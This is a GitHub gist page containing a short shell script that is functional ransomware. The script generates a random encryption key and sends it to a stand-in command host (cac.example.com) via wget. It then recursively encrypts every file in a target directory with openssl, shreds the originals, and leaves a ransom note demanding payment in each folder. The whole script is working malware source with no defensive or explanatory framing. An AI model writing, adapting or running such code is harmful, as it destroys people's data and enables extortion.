Skip to content

Instantly share code, notes, and snippets.

@tylerkerr
Created May 31, 2017 22:32
Show Gist options
  • Save tylerkerr/599dd5cb047a480564c671ea05e448c1 to your computer and use it in GitHub Desktop.
Save tylerkerr/599dd5cb047a480564c671ea05e448c1 to your computer and use it in GitHub Desktop.
#!/bin/sh
key="$(cat /dev/urandom | tr -dc '0-9a-f' | fold -w 64 | head -1)"
ekey="$(echo "$key" | openssl dgst -sha512 -hex | tail -c 128)"
iv=0
wget "http://cac.example.com/?key=$key" -q -O /dev/null
function ranshomware () {
local f;
f="$1";
iv=$[ $iv + 1]
if [ -d "$f" ]; then
for sf in "$f"/*; do ranshomware "$sf"; done;
echo "All your files have been encrypted, pay us a lot of money to our account and we'll give them back to you. Say $ekey so we can give you the right key" > "$f"/encrypted.txt
fi
if [ -f "$f" ]; then
openssl enc -e -aes-256-ctr -iv "$(printf "%032x" "$iv")" -K "$key" -in "$f" -out "$f.enc";
shred "$f"
mv "$f".enc "$f"
fi;
}
ranshomware ranshomwared
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment